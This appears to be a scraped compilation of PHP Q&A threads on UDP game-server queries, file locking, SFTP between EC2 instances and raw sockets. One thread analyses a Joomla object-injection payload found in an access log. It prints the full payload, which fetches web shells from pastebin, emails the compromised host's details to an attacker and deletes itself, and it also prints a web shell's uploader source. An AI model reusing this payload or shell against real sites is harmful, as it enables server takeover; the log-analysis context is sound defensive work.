connect master server stream_socket_client - php

I wrote a script to pull a server list from the master server from Enemy Territory; However it silently fails; I had it working; but for some unknown reason it doesn't anymore.
I used this document to "talk" with the server : http://src.gnu-darwin.org/ports/games/masterserver/work/masterserver-0.4.1/docs/PROTOCOLS
This seems valid since it worked before and it still works on game servers; This is my code :
<?php
// set sv_master1 "etmaster.idsoftware.com"
// set sv_master2 "master0.gamespy.com"
// set sv_master3 "wolfmaster.idsoftware.com"
// set sv_master4 "clanservers.net"
// set sv_master5 "master0.etmaster.net" 213.108.29.23
$host = 'etmaster.idsoftware.com';
$port = '27950';
// $status = chr(255) . chr(255) . chr(255) . chr(255) . chr(0x02) . 'getservers' . chr(0x00);
$status = "\xFF\xFF\xFF\xFFgetservers\x00";
$fp = stream_socket_client("udp://" . $host . ":" . $port, $errno, $errstr, 10);
if (!$fp) {
echo "ERROR: " . $errno . $errstr . "<br>\n";
} else {
fwrite($fp, $status);
//stream_set_timeout($fp, 10); // this is for debugging;
$data = fread($fp, 1024);
fclose($fp);
print_r($data);
}
I attempted 60 seconds execution time (its localhost) but it still doesn't work ... any help is appreciated !
When I check the steps (in cli) the longest time is spend on fread(); but $data contains only an empty string;

The error is small; there had to be 5* \xFF tag; and I only used 4.

Related

MySQL Injection Attempt - How to replicate from access.log?

I have recently been working on preventing SQL injection in my production Apache/PHP/MySQL web application.
For this, I routinely skim Apache access logs for abnormal requests and occasionally attempt to replicate them if I find them peculiar (anyone have a better recommendation?).
Today, I saw a strange log appear in the access log. I see that an HTTP referrer exists, but I do not have a matching log for the original request. There is also not a matching log in the Apache Error Log that implies it was "denied by server configuration".
Here is the strange log (base_64 decoded):
169.239.180.100 - - [22/Mar/2017:04:01:37 +0000] "GET / HTTP/1.1" 200 13963 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\0\0\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:3462:\"$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/lol.php" ;
$fp=fopen("$check","w+");
fwrite($fp,base64_decode('
<?php
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/wl.php" ;
$text = http_get('http://pastebin.com/raw/hjvDMQX1');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo $check."</br>";
}else
echo "not exits";
echo "done .\n " ;
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmail.php" ;
$text2 = http_get('http://pastebin.com/raw/KPh36MAb');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
echo $check2."</br>";
}else
echo "not exits2";
echo "done2 .\n " ;
$check3=$_SERVER['DOCUMENT_ROOT'] . "/s.htm" ;
$text3 = http_get('http://pastebin.com/raw/3Z6ZCHtZ');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);
$check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/check.php" ;
$text4 = http_get('http://pastebin.com/raw/RA3giT4L');
$op4=fopen($check4, 'w');
fwrite($op4,$text4);
fclose($op4);
$check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmails.php" ;
$text5 = http_get('http://pastebin.com/raw/KPh36MAb');
$op5=fopen($check5, 'w');
fwrite($op5,$text5);
fclose($op5);
$toz = "daniel.3.walker#gmail.com";
$subject = 'Jom zzz ' . $_SERVER['SERVER_NAME'];
$header = 'from: Saico <daniel.3.walker#gmail.com>' . "\r\n";
$message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "\r\n" . php_uname() . "\r\n";
$sentmail = #mail($toz, $subject, $message, $header);
#unlink(__FILE__);
?>
'));
fclose($fp);
JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\0\0\0connection\";b:1;}\xf0\xfd\xfd\xfd"
I attempted to replicate this GET request via Postman but it is seen as "an invalid XMLHTTPRequest". I'm not sure how one would normally test this?
I am also not sure what this does (or attempts to do). Any information/theories on what this attempts to do (and if it may have succeeded) would be greatly appreciated.
I theorize it is just a simple attempt to inject SQL via the HTTP referrer into some "framework", but I am not an expert. Thanks in advance for any help.
This is what I got when I decoded it
<?php
$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/lol.php" ;
$fp=fopen("$check","w+");
fwrite($fp,
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/wl.php" ;
$text = http_get('http://pastebin.com/raw/hjvDMQX1');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo $check."</br>";
}else
echo "not exits";
echo "done .\n " ;
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmail.php" ;
$text2 = http_get('http://pastebin.com/raw/KPh36MAb');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
echo $check2."</br>";
}else
echo "not exits2";
echo "done2 .\n " ;
$check3=$_SERVER['DOCUMENT_ROOT'] . "/s.htm" ;
$text3 = http_get('http://pastebin.com/raw/3Z6ZCHtZ');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);
$check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/check.php" ;
$text4 = http_get('http://pastebin.com/raw/RA3giT4L');
$op4=fopen($check4, 'w');
fwrite($op4,$text4);
fclose($op4);
$check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmails.php" ;
$text5 = http_get('http://pastebin.com/raw/KPh36MAb');
$op5=fopen($check5, 'w');
fwrite($op5,$text5);
fclose($op5);
Looks like you are using Joomla CMS. There is a file inside library folder lol.php which is being called by the script. Another file /libraries/joomla/wl.php is also malicious file being called. Also the pastebin code is being executed
<?php
// name of the file is: i (it has no extension)
error_reporting(0);
if(isset($_GET["0"]))
{
echo"<font color=#000FFF>[uname]".php_uname()."[/uname]";echo "<br>";print "\n";if(#ini_get("disable_functions")){echo "DisablePHP=".#ini_get("disable_functions");}else{ echo "Disable PHP = NONE";}echo "<br>";print "\n";if(#ini_get("safe_mode")){echo "Safe Mode = ON";}else{ echo "Safe Mode = OFF";} echo "<br>";print "\n";echo"<form method=post enctype=multipart/form-data>";echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";if($_POST["v"]==up){if(#copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>berhasil</b>-->".$_FILES["f"]["name"];}else{echo"<b>gagal";}} }
echo 'walex';
echo 'uname:'.php_uname()."\n";
echo getcwd() . "\n";
?>
It is writing the pastebin code to your file /libraries/joomla/jmail.php.
Conclusion:
if you are not using Joomla CMS nothing to worry. if yes then you need to check those affected files. Possible malicious files are uploaded to your server.

Multiple fopens - only first one works

I've a strange issue I am encountering. Recently I switched from webhosting to a VPS, mainly because of flexibility a VPS provides me with.
I now however need to setup Apache on my own and I'm not to good at doing so.
I've a .php file and I have 2 fopen in it. The first one does it's job but the second one doesn't work for some reason.
I was wondering, is there some php.ini settings I need to make to allow multiple fopen in a file ?
EDIT
Code below:
$fp = fopen('ticket' . $_SESSION['id'] . '.txt', 'a+');
$savestring = "---";
fwrite($fp, $savestring);
fclose($fp);
$_SESSION['total'] = $total;
$fp = fopen('reqs.txt', 'a+');
$savestring = PHP_EOL . "Ticket Nou: " . $_SESSION['id'] . " | Ora: " . $ordertime . " | IP: " . $ip;
fwrite($fp, $savestring);
fclose($fp);
I shortened the $savestrings, in reality they are longer. The issue occurs with the second file, reqs.txt.
try to use flock
I have a file with 4 fopen it didn't work.
after using flock it worked.

Connection from one EC2 instance to another EC2 instance using phpseclib

Hi I am using HANA on one EC2 and using by PHP which is already there in SUSE Linux to fetch the data from other Instance. The same code is working fine when i am trying t fetch data from my local system. But it is not working there neither it is showing any error. Please help. Here is my code:
error_reporting(1);
set_time_limit(0);
$date = date("d/m/Y-h:i:s") . "\n"; //to get today's date and time
$logfile = "file-transfer";
$fpath ="log/";
$filepath = $fpath .$logfile . '-log-' . date('Y-m-d') . '.csv'; //path of error log file
$fh1 = fopen($filepath, 'a'); //opening the error log file
fwrite($fh1, "Process Started#" .$date. "\n");
include('Net/SFTP.php');
include('Crypt/RSA.php');
$key = new Crypt_RSA();
$key->loadKey(file_get_contents('key/private.ppk'));
$local_directory = 'sap/';
$remote_directory = '/var/www/';
$file = 'index.html';
$sftp = new Net_SFTP('ec2-XX-XXX-CCC-XX.ap-southeast-1.compute.amazonaws.com');
if (!$sftp->login('ubuntu', $key)) {
fwrite($fh1, "Login Failed" .$date. "\n");
}
else{
fwrite($fh1, "Login Successful#" .$date. "\n");
}
//$success = $sftp->put($remote_directory . $file,$local_directory . $file,NET_SFTP_LOCAL_FILE);
$success = $sftp->get($remote_directory . $file,$local_directory . $file);
if($success){
fwrite($fh1, "File Transferred Successfully#" .$date. "\n");
}
else{
fwrite($fh1, "Error:" .$date.error_get_last(). "\n");
}
Erroneously when i put wrong host name it throw Login failed message. But When i put the correct host name it is not working.
If you are using VPC for your networks inside AWS you need to open the ports in the Security Group so the EC2 instances in the same security group see and can access each other.
http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_SecurityGroups.html

PHP lock text file for editing?

I've got a form that writes its input to a textfile.
Would it be possible to lock a text file for editing, and perhaps give a friendly message "the file is edited by another user, please try again later."
I'd like to avoid conflicts if the file has multiple editors at the same time.
Here's how the entry is currently added.
$content = file_get_contents("./file.csv");
$fh = fopen("./file.csv", "w");
fwrite($fh, $date_yy . '-' . $date_mm . '-' . $date_dd . '|' . $address . '|' . $person . '|' . $time_hh . ':' . $time_mm);
fwrite($fh, "\n" . $content);
fclose($fh);
Any thoughts?
You can use flock() function to lock the file. For more see this
Something like:
<?php
$content = file_get_contents("./file.csv");
$fp = fopen("./file.csv", "w"); // open it for WRITING ("w")
if (flock($fp, LOCK_EX))
{
// do your file writes here
fwrite($fh, $date_yy . '-' . $date_mm . '-' . $date_dd . '|' . $address . '|' . $person . '|' . $time_hh . ':' . $time_mm);
fwrite($fh, "\n" . $content);
fclose($fh);
flock($fh, LOCK_UN); // unlock the file
}
?>
In order of desirability:
Use a database.
Use more than one text file.
Use locks:
eg:
$lockwait = 2; // seconds to wait for lock
$waittime = 250000; // microseconds to wait between lock attempts
// 2s / 250000us = 8 attempts.
$myfile = '/path/to/file.txt';
if( $fh = fopen($myfile, 'a') ) {
$waitsum = 0;
// attempt to get exclusive, non-blocking lock
$locked = flock($fh, LOCK_EX | LOCK_NB);
while( !$locked && ($waitsum <= $lockwait) ) {
$waitsum += $waittime/1000000; // microseconds to seconds
usleep($waittime);
$locked = flock($fh, LOCK_EX | LOCK_NB);
}
if( !$locked ) {
echo "Could not lock $myfile for write within $lockwait seconds.";
} else {
// write out your data here
flock($fh, LOCK_UN); // ALWAYS unlock
}
fclose($fh); // ALWAYS close your file handle
} else {
echo "Could not open $myfile";
exit 1;
}
You can use PHP's flock function to lock a file for writing, but that lock won't persist across web requests and doesn't work on NFS mounts (at least in my experience).
Your best be may be to create a token file in the same directory, check for its existence and report an error if it exists.
As with any locking scheme, you're going to have race conditions and locks that remain after the operation has completed, so you'll need a way to mitigate those.
I would recommend creating a hash of the file before editing and storing that value in the lock file. Also send that hash to the client as part of the edit form (so it comes back as data on the commit request). Before writing, compare the passed hash value to the value in the file. If they are the same, commit the data and remove the lock.
If they are different, show an error.
You could try flock — Portable advisory file locking ?
http://php.net/manual/en/function.flock.php
I would just use a simple integer or something like that.
$content = file_get_contents("./file.csv");
$fh = fopen("./file.csv", "w");
$status = 1;
...
if($status == 1){
fwrite($fh, $date_yy . '-' . $date_mm . '-' . $date_dd . '|' . $address . '|' . $person . '|' . $time_hh . ':' . $time_mm);
fwrite($fh, "\n" . $content);
fclose($fh);
$status = 0;
}
else
echo "the file is edited by another user, please try again later.";
Is that what you mean?

Writing then reading back via sockets in PHP issues

I writing a command and then reading back from a server via sockets in PHP. We have 20 servers that all run a Node JS script which can receive these commands and execute them. The Node JS script will return "ok" which PHP reads back to confirm the command has gone through.
The Node JS script listens on port 9000 and is set to allow half open.
Most of the time this works fine, but when a high volume of commands are sent we get errors back occasionally that say this:
Contents: Message received back from socket was 'Unexpected token {'
Transport endpoint is not connected
The transport endpoint message suggests to me that it has not connected successfully.
I am no expert in sockets so I don't know whether the implementation I have used is "correct". It does work most of the time but I am aware that there are functions like socket_bind and socket_listen that may work better, though I am not sure what they do.
Here is the PHP code that we are using. Any suggestions would be most appreciated.
public function sendDaemonCommand($address, $template_id, $params = array()) {
$hostname = $this->getHostnameFromPrivateIP($address);
$port = 9000;
$command = array('template_id' => $template_id, 'params' => $params);
$command = json_encode($command);
// Create a TCP Stream socket
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
$this->mailError("Command Failed - " . $hostname, "Failed to create socket on " . $address . "\n\n" . socket_strerror(socket_last_error()) . "\n\nCommand:\n\n" . $command . "\n" . $this->functionTraceback());
return false;
}
// Connect to socket
if (socket_connect($sock, $address, $port) === false) {
$this->mailError("Command Failed - " . $hostname, "Failed to connect to socket on " . $address . "\n\n" . socket_strerror(socket_last_error($sock)) . "\n\nCommand:\n\n" . $command. "\n" . $this->functionTraceback());
socket_close($sock);
return false;
}
// Write command to socket
$_command = $command;
$length = strlen($_command);
while (true) {
$sent = socket_write($sock, $_command, $length);
if ($sent === false) {
$this->mailError("Command Failed - " . $hostname, "Failed to write command to socket on " . $address . "\n\n" . socket_strerror(socket_last_error($sock)) . "\n\nCommand:\n\n" . $command. "\n" . $this->functionTraceback());
socket_shutdown($sock, 2);
socket_close($sock);
return false;
}
if ($sent < $length) {
$_command = substr($_command, $sent);
$length -= $sent;
}
else {
break;
}
}
socket_shutdown($sock, 1);
// Read back from socket
if (($out = socket_read($sock, 1024)) !== false) {
#socket_shutdown($sock, 0);
$out = trim($out);
if ($out !== "ok") {
$this->mailError("Command Failed - " . $hostname, "Message received back from socket was '" . $out . "' on " . $address . "\n\n" . socket_strerror(socket_last_error($sock)) . "\n\nCommand:\n\n" . $command. "\n" . $this->functionTraceback());
socket_close($sock);
return false;
}
}
else {
$this->mailError("Command Failed - " . $hostname, "Failed to read from socket on " . $address . "\n\n" . socket_strerror(socket_last_error($sock)) . "\n\nCommand:\n\n" . $command. "\n" . $this->functionTraceback());
socket_shutdown($sock, 0);
socket_close($sock);
return false;
}
socket_close($sock);
return $out;
}
For a simple socket client such as this, I much prefer fsockopen() - it drastically reduces the complication of the client code and does not require the sockets extension, which is not available everywhere. The main disadvantage to this is that you lose the string error messages, but these are rarely that useful anyway - you still get an error string from creating the socket, and if read/write operations fail it's because the socket has become disconnected.
I'm also not sure how useful "allow half open" is in this context - I think it is likely to create more problems than it solves. The calls to socket_shutdown() are not doing anything useful here (and may be the source of your problems) - you would only use this if you are operating on a socket that will not be closed and may be operated on at a later point in time by some other code. Since you create a new socket and destroy it in the same routine, this is not the case.
Here is your code rewritten to use fsockopen() - as you can see, it is somewhat shorter and simpler. I have also modified it slightly so that it always returns a bool - your code returns either bool FALSE or string ok, and since there are only these two options it makes more sense for the function to always return a bool.
public function sendDaemonCommand($address, $template_id, $params = array()) {
// Prepare data
$hostname = $this->getHostnameFromPrivateIP($address);
$port = 9000;
$command = array('template_id' => $template_id, 'params' => $params);
$_command = $command = json_encode($command);
$length = strlen($_command);
// Connect to socket
if (!$sock = fsockopen($address, $port, $errNo, $errStr)) {
$this->mailError("Command Failed - " . $hostname, "Failed to connect to socket on " . $address . "\n\n" . $errStr . "\n\nCommand:\n\n" . $command. "\n" . $this->functionTraceback());
return false;
}
// Write command to socket
while (true) {
// Try and write data to socket
$sent = fwrite($sock, $_command, $length);
// If it failed, error out
if ($sent === false) {
$this->mailError("Command Failed - " . $hostname, "Failed to write command to socket on " . $address . "\n\nCommand:\n\n" . $command. "\n" . $this->functionTraceback());
fclose($sock);
return false;
}
// If there is data left to send, try again
if ($sent < $length) {
$_command = substr($_command, $sent);
$length -= $sent;
continue;
}
// If we get here the write operation was successful
break;
}
// Read back from socket and close it
$out = fread($sock, 1024);
fclose($sock);
// Test the response from the server
if ($out === false) {
$this->mailError("Command Failed - " . $hostname, "Failed to read from socket on " . $address . "\n\nCommand:\n\n" . $command. "\n" . $this->functionTraceback());
return false;
} else if (($out = trim($out)) !== "ok") {
$this->mailError("Command Failed - " . $hostname, "Message received back from socket was '" . $out . "' on " . $address . "\n\nCommand:\n\n" . $command. "\n" . $this->functionTraceback());
return false;
} else {
return true;
}
}

Categories